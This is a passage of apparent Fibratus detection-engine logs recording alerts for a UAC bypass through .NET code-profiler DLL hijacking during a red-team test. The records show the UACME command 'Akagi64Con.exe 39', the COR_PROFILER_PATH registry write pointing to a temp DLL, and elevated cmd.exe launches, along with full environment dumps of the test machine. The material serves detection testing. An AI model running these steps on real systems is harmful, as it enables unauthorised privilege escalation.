tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 9924 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 59717 + Pid: 7756 + Tid: 8868 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:21:51.2388533 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3f9ae5000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff80800a79c080, name➜ cmd.exe, pid➜ 10440, ppid➜ 7756, real_ppid➜ 7756, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:21:51.2388052 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004 + + Pid: 7756 + Ppid: 9924 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:21:55+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 60203 + Pid: 9600 + Tid: 10452 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:21:54.2107584 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac69b70, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004 + + Pid: 9600 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 60654 + Pid: 5780 + Tid: 7324 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:21:54.878808 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 15a4c3000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff8080052a6080, name➜ cmd.exe, pid➜ 11668, ppid➜ 5780, real_ppid➜ 5780, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:21:54.8787606 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 5780 + Ppid: 9600 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:22:01+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 61238 + Pid: 6152 + Tid: 14104 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:22:00.2642511 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac69b70, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 6152 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False 